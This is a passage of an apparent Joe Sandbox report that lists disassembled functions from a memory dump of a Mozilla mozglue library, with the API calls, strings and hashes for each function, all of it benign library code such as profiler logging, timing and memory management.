Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction ID: 11b146b8dc9d64fc95c36ef78b382984252d94d2b0748d03f7e0dd801a42474f
Opcode Fuzzy Hash: b739ed38869cf0e49e9a8bc7cf588d4d167a2bb3e38890603d8cc6b7491540b6
Instruction Fuzzy Hash: 10516AB1609705EFC704DF24C884A9BBBB4FF89318F108A2EE94A87751DB30E945CB95

Function 6C955670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C955744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9557BC
GetTickCount64.KERNEL32 ref: 6C9558CB
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9558F3
__aulldiv.LIBCMT ref: 6C955945
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9BF638,?,?,?,?), ref: 6C9559E9

Strings

MOZ_APP_RESTART, xrefs: 6C9556CC

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0ee93393dbd798f42ac72bd235510c59fd99e436951f0d8ead5bc62aa2b62460
Instruction ID: 05790c3df5ad1fb34af10d8dbd0571f821934aa96cf63e7f6f052a122c3d3578
Opcode Fuzzy Hash: 0ee93393dbd798f42ac72bd235510c59fd99e436951f0d8ead5bc62aa2b62460
Instruction Fuzzy Hash: 9AC19B79A0C745EFCB05CF28C44066AB7F1BF9A718F558A1DE8C497661D730E885CB82

Function 6C97EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EC8C

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97ECA1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C97ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97ED19
CloseHandle.KERNEL32(?), ref: 6C97ED28
free.MOZGLUE(00000000), ref: 6C97ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C97EC94

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction ID: 9e67237bb8eb875031e9b467384efa877a4de4c277d9d803fd726e095751aca5
Opcode Fuzzy Hash: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction Fuzzy Hash: 2E21EF7D605108BFDB109F28D848AEB777AEB9626CF204210F91897B81DB71DC158BF9

Function 6C978ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C93EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C97B392,?,?,00000001), ref: 6C9791F4

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Strings

timeline-memory, xrefs: 6C979088
timeline-overview, xrefs: 6C97907A
stack-chart, xrefs: 6C9790B2
timeline-fileio, xrefs: 6C9790A4
name, xrefs: 6C978F16
marker-table, xrefs: 6C97906C
marker-chart, xrefs: 6C97905E
timeline-ipc, xrefs: 6C979096
data, xrefs: 6C9790E8

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction ID: 897379af96ec2ce43e076a8ca82ead57329b94498f9ea148fc05e65c0628d731
Opcode Fuzzy Hash: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction Fuzzy Hash: 86B1C4B1A02209ABDB18CFA9C8957EEBBB5FF95318F104419D506ABF80D731D945CBE0

Function 6C95C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C5A3
WideCharToMultiByte.KERNEL32 ref: 6C95C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C95C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C95CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C95CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95CAA5

Strings

0, xrefs: 6C95D30A
(null), xrefs: 6C95C596

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction ID: e909b9e930eedf9c536e9ea0f258f479c34a97032f2b0006fee39d1ed45b0c02
Opcode Fuzzy Hash: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction Fuzzy Hash: C7A1BB316093429FDB00DF28C98475ABBF5EF89748F54882DE88AD7741DB31E925CB92

Function 6C95C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C95C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C95C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95C891

Strings

NAN, xrefs: 6C95C7AD
INF, xrefs: 6C95C794
nan, xrefs: 6C95C7A8
inf, xrefs: 6C95C78F

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6451d5b0df2c2bcd0821f3e3637b45a18909cf4639a876aea2967860a8eee740
Instruction ID: 2fbbe5afb57f1ab8dd6e24dd54d30abc384726575ca95099c5cbe5f829687bc1
Opcode Fuzzy Hash: 6451d5b0df2c2bcd0821f3e3637b45a18909cf4639a876aea2967860a8eee740
Instruction Fuzzy Hash: 32518F719087849BDB00EF6CC58129AFBF4BF9E308F408A2DE9D5A7650E770D995CB42

Function 6C934480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C974843,?), ref: 6C9345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C974843,?), ref: 6C93468A
free.MOZGLUE(?,?,?,?,?,?,6C974843,?), ref: 6C9346C9
free.MOZGLUE(?), ref: 6C9346EF
free.MOZGLUE(?), ref: 6C934712
free.MOZGLUE(?), ref: 6C934735
free.MOZGLUE(?), ref: 6C934758
free.MOZGLUE(?), ref: 6C93477B
free.MOZGLUE(?), ref: 6C93479E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction ID: ba3eb26eb0ed31d37b6dd96fb43570f51ae9ca494221bab7b16e629f04ec2ffa
Opcode Fuzzy Hash: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction Fuzzy Hash: A8B10871A001218FDB14CE3CC89476D7BB5AF52318F1A5678E81ADFB86D732D8448F91

Function 6C99AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C99AC52
CreateFileMappingW.KERNEL32 ref: 6C99AC7D
GetSystemInfo.KERNEL32 ref: 6C99AC98
MapViewOfFile.KERNEL32 ref: 6C99ACB0
GetSystemInfo.KERNEL32 ref: 6C99ACCD
MapViewOfFile.KERNEL32 ref: 6C99AD05
UnmapViewOfFile.KERNEL32 ref: 6C99AD1C
CloseHandle.KERNEL32 ref: 6C99AD28
UnmapViewOfFile.KERNEL32 ref: 6C99AD37
CloseHandle.KERNEL32 ref: 6C99AD43
CloseHandle.KERNEL32 ref: 6C99AD67

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction ID: d38983b6303b7319b5000e54ae360ec5cb4a7f1b335ffc3ce8cfae03ac794501
Opcode Fuzzy Hash: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction Fuzzy Hash: 313160B1A087449FDB00AF78D68926EBBF0FF85305F11492DE98587261EB709458CB92

Function 6C949620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

MapViewOfFileNuma2, xrefs: 6C9497B1
NtMapViewOfSection, xrefs: 6C949701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
ntdll.dll, xrefs: 6C9496E3

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction ID: 888f558f7866f116365d849e46472fc0183c9dd8cfd0c6d7854e311e93e060c7
Opcode Fuzzy Hash: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction Fuzzy Hash: 8041D579704205ABDF00CFA9D9C5A9777B8FB89B1CF218169ED0597B80D730E904CBA5

Function 6C931E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931EC1
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931EE1
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C931F38
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C931F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C931F83
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FC0
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931FE2
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C932019

Strings

MOZ_CRASH(), xrefs: 6C932000

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction ID: e393ac2edb458ad3a3218530af0339a12a907e7b4f2376534a0ca5ea0a496b89
Opcode Fuzzy Hash: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction Fuzzy Hash: BF41E071B04329AFDB009FA9C8C8B6B37B9EB5A708F200065F90897781DB71D8048BD9

Function 6C980000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C980039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C980041
GetCurrentThreadId.KERNEL32 ref: 6C980075
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C980082
moz_xmalloc.MOZGLUE(00000048), ref: 6C980090
free.MOZGLUE(?), ref: 6C980104
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C98011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C98005B

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: e61eaff485a4946ce9e746565f7575c5b5d2a291c3b60c1fe4757bce03242736
Instruction ID: 697352e9c936ea72e88fc40d1cf39cf4aa305f1cddd466ff5d4356ce34f76c7d
Opcode Fuzzy Hash: e61eaff485a4946ce9e746565f7575c5b5d2a291c3b60c1fe4757bce03242736
Instruction Fuzzy Hash: 0341B079606244EFCB10CF24C884A9BBBF1FF59318F50491DE95A93B50D731E914CB95

Function 6C947E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C947EA7
malloc.MOZGLUE(00000001), ref: 6C947EB3

Part of subcall function 6C94CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C94CB49
Part of subcall function 6C94CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C94CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C947EC4
mozalloc_abort.MOZGLUE(?), ref: 6C947F19
malloc.MOZGLUE(?), ref: 6C947F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C947F4D

Strings

d, xrefs: 6C947F89

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction ID: 7db73936cf6c8a748e6de4cdf67231608c6ecadaa4dcb667cba806a2b619af00
Opcode Fuzzy Hash: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction Fuzzy Hash: 3C31FA61E0478897DB009B68DC049FEB778EFA5208F159269ED4557712FB31E588C390

Function 6C943E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C943EEE
RtlFreeHeap.NTDLL ref: 6C943FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C944006
RtlFreeHeap.NTDLL ref: 6C9440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440C2
RtlFreeHeap.NTDLL ref: 6C944134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944157

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: c09a734219b07cf2b234f0adaf757442157a458d341ed95c680db0ba8614c80e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1BA181B1A00215CFEB40CF68C880669B7F5FF58318F258199D909AF752D772E996CFA0

Function 6C932030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C953F47,?,?,?,6C953F47,6C951A70,?), ref: 6C93207F
memset.VCRUNTIME140(?,000000E5,6C953F47,?,6C953F47,6C951A70,?), ref: 6C9320DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C953F47,6C951A70,?), ref: 6C93211A
EnterCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C932145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C953F47,6C951A70,?), ref: 6C9321BA
EnterCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C9321E0
LeaveCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C932232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C932253, 6C932268
MOZ_CRASH(), xrefs: 6C93227D

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: b5cdda298e10c792517296b392cb19edff3ac628b765e24641e0c031f882da28
Instruction ID: a8a2bd1d1c4fe497a56101119cae68a8ed094895082b3ee68594bd4d2bfab02c
